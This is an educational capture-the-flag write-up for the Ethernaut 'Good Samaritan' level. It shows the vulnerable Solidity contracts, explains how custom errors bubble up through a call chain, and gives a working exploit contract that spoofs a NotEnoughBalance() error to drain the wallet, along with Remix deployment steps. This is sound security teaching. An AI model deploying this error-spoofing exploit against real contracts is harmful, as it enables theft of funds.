ctfwriteup
  • ✅/home/ret2basic.eth
  • Game Hacking
    • 👑Pwn Adventure 3: Pwnie Island
      • ✅Prep: Speed Hack
      • ✅Prep: Infinite Health and Mana (Offline)
      • ✅Prep: Analyze Network Packets with Wireshark
      • Prep: Build a Proxy in Python
      • ✅Until the Cows Come Home
      • Unbearable Revenge
      • Pirate's Treasure
    • Cheat Engine Tutorial
      • ✅Step 1: Setup
      • ✅Step 2: Scan for "Exact Value"
      • ✅Step 3: Scan for "Unknown initial value"
      • ✅Step 4: Scan for float and double
      • ✅Step 5: Replace instruction
      • Step 6: Pointer scanning
      • Step 7: Code injection
      • Step 8: Multilevel pointers
      • Step 9: Shared code
  • Web3 CTF
    • 👑Remedy CTF 2025 (Todo)
      • Diamond Heist
      • R vs Q
      • Rich Man's Bet
      • Casino Avengers
      • Frozen Voting
      • Lockdown
      • Proof of Thought
      • Maybe it's unnecessary?
      • Et tu, Permit2?
      • Not a very LUCKY TOKEN
      • risc4
      • HealthCheck as a Service
      • Restricted Proxy
      • Unstable Pool
      • Opaze Whisperer
      • "memorable" onlyOwner
      • World of Memecraft
      • Copy/Paste/Deploy
      • Peer-to-peer-to-me
      • Joe's Lending Mirage
      • Tokemak
      • OFAC Executive Order 13337
    • 👑Paradigm CTF 2023 (Todo)
      • Oven
      • Dragon Tyrant
    • Damn Vulnerable DeFi
      • ✅Unstoppable
      • ✅Naive Receiver
      • ✅Truster
      • ✅Side Entrance
      • ✅The Rewarder
      • ✅Selfie
      • ✅Compromised
      • ✅Puppet
      • ✅Puppet V2
      • ✅Free Rider
      • Backdoor
      • Climber
      • Wallet Mining (Todo)
      • Puppet V3 (Todo)
      • ABI Smuggling (Todo)
    • Milotruck Challs
      • ✅Greyhats Dollar
      • Escrow
      • Simple AMM Vault
      • Voting Vault
      • ✅Meta Staking
      • ✅Gnosis Unsafe
    • Secureum AMAZEX DSS Paris
      • ✅Operation magic redemption
      • Mission Modern WETH: Rescue the Ether
      • LendEx pool hack
      • Operation Rescue POSI Token!
      • Balloon Vault
      • Safe Yield?
      • ✅Crystal DAO
      • ✅Liquidatoooor
    • ✅Ethernaut
      • ✅Hello Ethernaut
      • ✅Fallback
      • ✅Fallout
      • ✅Coin Flip
      • ✅Telephone
      • ✅Token
      • ✅Delegation
      • ✅Force
      • ✅Vault
      • ✅King
      • ✅Re-entrancy
      • ✅Elevator
      • ✅Privacy
      • ✅Gatekeeper One
      • ✅Gatekeeper Two
      • ✅Naught Coin
      • ✅Preservation
      • ✅Recovery
      • ✅MagicNumber
      • ✅Alien Codex
      • ✅Denial
      • ✅Shop
      • ✅DEX
      • ✅DEX Two
      • ✅Puzzle Wallet
      • Motorbike
      • DoubleEntryPoint
      • ✅Good Samaritan
      • Gatekeeper Three
      • Switch
    • ✅Flashbots MEV-Share CTF
    • ✅Capture the Ether
      • ✅Lotteries
      • ✅Math
      • ✅Miscellaneous
    • ✅EVM Puzzles
      • ✅Puzzle 1
      • ✅Puzzle 2
      • ✅Puzzle 3
      • ✅Puzzle 4
      • ✅Puzzle 5
      • ✅Puzzle 6
      • ✅Puzzle 7
      • ✅Puzzle 8
      • ✅Puzzle 9
      • ✅Puzzle 10
    • ✅More EVM Puzzles
      • ✅Puzzle 1
      • ✅Puzzle 2
      • ✅Puzzle 3
      • ✅Puzzle 4
      • ✅Puzzle 5
      • ✅Puzzle 6
      • ✅Puzzle 7
      • ✅Puzzle 8
      • ✅Puzzle 9
      • ✅Puzzle 10
    • ✅QuillCTF
      • ✅MetaToken
      • ✅Temporary Variable
      • KeyCraft
      • ✅Lottery
      • ✅Private Club
      • Voting Machine
      • ✅Predictable NFT
      • ✅Invest Pool
      • PseudoRandom
      • ✅Gold NFT
      • Slot Puzzle
      • Moloch's Vault
      • ✅Donate
      • ✅WETH-11
      • Panda Token
      • Gate
      • ✅WETH10
      • ✅Pelusa
      • ✅True XOR
      • ✅Collatz Puzzle
      • ✅D31eg4t3
      • ✅Safe NFT
      • ✅VIP Bank
      • ✅Confidential Hash
      • ✅Road Closed
    • ✅unhacked
      • ✅reaper
  • RareSkills Puzzles
    • Solidity Exercises
    • Solidity Riddles
    • Yul Puzzles
      • ✅01 - ReturnBool
      • ✅02 - SimpleRevert
      • ✅03 - Return42
      • ✅04 - RevertWithError
      • ✅05 - RevertWithSelectorPlusArgs
      • 06 - RevertWithPanic
    • Huff Puzzles
    • Uniswap V2 Puzzles
    • Zero Knowledge Puzzles
  • Web2 CTF
    • Grey Cat CTF 2024
      • ✅Web Challs
    • pwn.college
      • Introduction
        • What is Computer Systems Security?
      • Program Interaction
        • Linux Command Line
        • 🚩embryoio
      • Program Misuse
        • Privilege Escalation
        • Mitigations
        • 🚩babysuid
      • Assembly Refresher
        • x86 Assembly
        • 🚩embryoasm
      • Shellcoding
        • Introduction
        • Common Challenges
        • Data Execution Prevention
        • 🚩babyshell
      • Sandboxing
        • chroot
        • seccomp
        • Escaping seccomp
        • 🚩babyjail
      • Debugging Refresher
        • x86 Assembly
        • 🚩embryogdb
      • Binary Reverse Engineering
        • Functions and Frames
        • Data Access
        • Static Tools
        • Dynamic Tools
        • Real-world Applications
        • 🚩babyrev
      • Memory Errors
        • High-Level Problems
        • Smashing the Stack
        • Causes of Corruption
        • Canary
        • ASLR
        • Causes of Disclosure
        • 🚩babymem
      • Exploitation
        • Introduction
        • Hijacking to Shellcode
        • Side Effects
        • JIT Spray
        • 🚩toddler1
      • Return Oriented Programming
        • Binary Lego
        • Techniques
        • Complications
        • 🚩babyrop
      • Dynamic Allocator Misuse
        • What is the Heap?
        • Dangers of the Heap
        • tcache
        • Chunks and Metadata
        • Metadata Corruption
        • 🚩babyheap
      • Race Conditions
        • Introduction
        • Races in the Filesystem
        • 🚩babyrace
      • Kernel Security
        • Environment Setup
        • Kernel Modules
        • Privilege Escalation
        • 🚩babykernel
      • Advanced Exploitation
        • toddler2
    • pwnable.kr
      • fd
      • collision
      • bof
      • flag
      • passcode
      • random
      • input
      • leg
      • mistake
      • shellshock
      • coin1
      • blackjack
      • lotto
      • cmd1
      • cmd2
      • uaf
      • memcpy
      • asm
      • unlink
      • blukat
      • horcruxes
    • ROP Emporium
      • ret2win
      • split
      • callme
      • write4
      • pivot
    • ✅Jarvis OJ Pwn Xman Series
    • ✅Jarvis OJ Crypto RSA Series
    • ✅picoMini by redpwn
      • Binary Exploitation
      • Reverse Engineering
      • Cryptography
      • Web Exploitation
      • Forensics
    • ✅picoCTF 2021
      • Reverse Engineering
      • Web Exploitation
      • Forensics
    • ✅picoCTF 2020 Mini-Competition
  • Red Teaming
    • vulnlab
      • Active Directory Chains
        • ✅Trusted (Easy)
        • Hybrid (Easy)
        • Lustrous (Medium)
        • Reflection (Medium)
        • Intercept (Hard)
      • Red Team Labs
        • Wutai (Medium)
        • Shinra (Hard)
    • Hack The Box
      • AD
        • Intelligence
        • Pivotapi
        • Sharp
        • Monteverde
        • Resolute
        • Endgame: P.O.O.
        • Forest
        • Sauna
        • Active
        • Blackfield
      • ✅Linux
        • ✅Safe (Easy)
        • ✅Delivery (Easy)
        • ✅TheNotebook (Medium)
        • ✅Brainfuck (Insane)
    • TCM Windows Privilege Escalation Course
      • ✅Hack The Box - Chatterbox (Medium)
      • Hack The Box - SecNotes (Medium)
    • ✅TCM Linux Privilege Escalation Course
      • ✅TryHackMe - Simple CTF (Easy)
      • ✅TryHackMe - Vulnversity (Easy)
      • ✅TryHackMe - CMesS (Medium)
      • ✅TryHackMe - UltraTech (Medium)
      • ✅TryHackMe - LazyAdmin (Easy)
      • ✅TryHackMe - Anonymous (Medium)
      • ✅TryHackMe - tomghost (Easy)
      • ✅TryHackMe - ConvertMyVideo (Medium)
      • ✅TryHackMe - Brainpan 1 (Hard)
Powered by GitBook
On this page
  • Objective
  • Contract
  • Solution
  • Summary
  1. Web3 CTF
  2. Ethernaut

Good Samaritan

call chain

PreviousDoubleEntryPointNextGatekeeper Three

Last updated 1 year ago

Objective

This instance represents a Good Samaritan that is wealthy and ready to donate some coins to anyone requesting it.

Would you be able to drain all the balance from his Wallet?

Things that might help:

Contract

// SPDX-License-Identifier: MIT
pragma solidity >=0.8.0 <0.9.0;

import "openzeppelin-contracts-08/utils/Address.sol";

contract GoodSamaritan {
    Wallet public wallet;
    Coin public coin;

    constructor() {
        wallet = new Wallet();
        coin = new Coin(address(wallet));

        wallet.setCoin(coin);
    }

    function requestDonation() external returns(bool enoughBalance){
        // donate 10 coins to requester
        try wallet.donate10(msg.sender) {
            return true;
        } catch (bytes memory err) {
            if (keccak256(abi.encodeWithSignature("NotEnoughBalance()")) == keccak256(err)) {
                // send the coins left
                wallet.transferRemainder(msg.sender);
                return false;
            }
        }
    }
}

contract Coin {
    using Address for address;

    mapping(address => uint256) public balances;

    error InsufficientBalance(uint256 current, uint256 required);

    constructor(address wallet_) {
        // one million coins for Good Samaritan initially
        balances[wallet_] = 10**6;
    }

    function transfer(address dest_, uint256 amount_) external {
        uint256 currentBalance = balances[msg.sender];

        // transfer only occurs if balance is enough
        if(amount_ <= currentBalance) {
            balances[msg.sender] -= amount_;
            balances[dest_] += amount_;

            if(dest_.isContract()) {
                // notify contract 
                INotifyable(dest_).notify(amount_);
            }
        } else {
            revert InsufficientBalance(currentBalance, amount_);
        }
    }
}

contract Wallet {
    // The owner of the wallet instance
    address public owner;

    Coin public coin;

    error OnlyOwner();
    error NotEnoughBalance();

    modifier onlyOwner() {
        if(msg.sender != owner) {
            revert OnlyOwner();
        }
        _;
    }

    constructor() {
        owner = msg.sender;
    }

    function donate10(address dest_) external onlyOwner {
        // check balance left
        if (coin.balances(address(this)) < 10) {
            revert NotEnoughBalance();
        } else {
            // donate 10 coins
            coin.transfer(dest_, 10);
        }
    }

    function transferRemainder(address dest_) external onlyOwner {
        // transfer balance left
        coin.transfer(dest_, coin.balances(address(this)));
    }

    function setCoin(Coin coin_) external onlyOwner {
        coin = coin_;
    }
}

interface INotifyable {
    function notify(uint256 amount) external;
}

The challenge contract that we directly interacting with is GoodSamaritan. This can be verified by querying the contract ABI in Chrome console:

await contract.abi

To drain all the balance from the wallet, we have to trigger the logic in the catch block:

function requestDonation() external returns(bool enoughBalance){
    // donate 10 coins to requester
    try wallet.donate10(msg.sender) {
        return true;
    } catch (bytes memory err) {
        if (keccak256(abi.encodeWithSignature("NotEnoughBalance()")) == keccak256(err)) {
            // send the coins left
            wallet.transferRemainder(msg.sender);
            return false;
        }
    }
}

That is, we must trigger the NotEnoughBalance() error when calling wallet.donate10(). Let's examine the implementation of Wallet::donate10():

function donate10(address dest_) external onlyOwner {
    // check balance left
    if (coin.balances(address(this)) < 10) {
        revert NotEnoughBalance();
    } else {
        // donate 10 coins
        coin.transfer(dest_, 10);
    }
}

Clearly we are not going into the if branch. In the else branch, coin.transfer(dest_, 10) is called. Examine the implementation of Coin::transfer():

function transfer(address dest_, uint256 amount_) external {
    uint256 currentBalance = balances[msg.sender];

    // transfer only occurs if balance is enough
    if(amount_ <= currentBalance) {
        balances[msg.sender] -= amount_;
        balances[dest_] += amount_;

        if(dest_.isContract()) {
            // notify contract 
            INotifyable(dest_).notify(amount_);
        }
    } else {
        revert InsufficientBalance(currentBalance, amount_);
    }
}

Here INotifyable(dest_).notify(amount_) is interesting. Note that dest_ is msg.sender, that is, we have control over dest_ and we can write custom logic in our own notify() function.

Recall that our goal is to trigger the NotEnoughBalance() error when wallet.donate10() is called, so in our exp we can implement:

function notify(uint256 amount) external pure {
    if (amount == 10) {
        revert NotEnoughBalance();
    } 
}

Solution

Step 1: Copy and paste the challenge contract into Remix and save it as GoodSamaritan.sol.

Step 2: Deploy our exp in Remix:

// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;

import './GoodSamaritan.sol';

contract GoodSamaritanHack {

    error NotEnoughBalance();
    GoodSamaritan challenge = GoodSamaritan(<your_challenge_instance_address>);

    function pwn() external returns (bool result){
        result = challenge.requestDonation();
    }

    function notify(uint256 amount) external pure {
        if (amount == 10) {
            revert NotEnoughBalance();
        } 
    }
}

Step 3: Call pwn().

Summary

Congratulations! You have completed the final level (for now).

Custom errors in Solidity are identified by their 4-byte signature, the same as a function call. They are bubbled up through the call chain until they are caught by a catch statement in a try-catch block, as seen in the GoodSamaritan's requestDonation() function. For these reasons, it is not safe to assume that the error was thrown by the immediate target of the contract call (i.e., Wallet in this case). Any other contract further down in the call chain can declare the same error--which will have the same signature--and throw it at an unexpected location, such as in the notify(uint256 amount) function in your attacker contract.

Solidity Custom Errors
✅
✅
Page cover image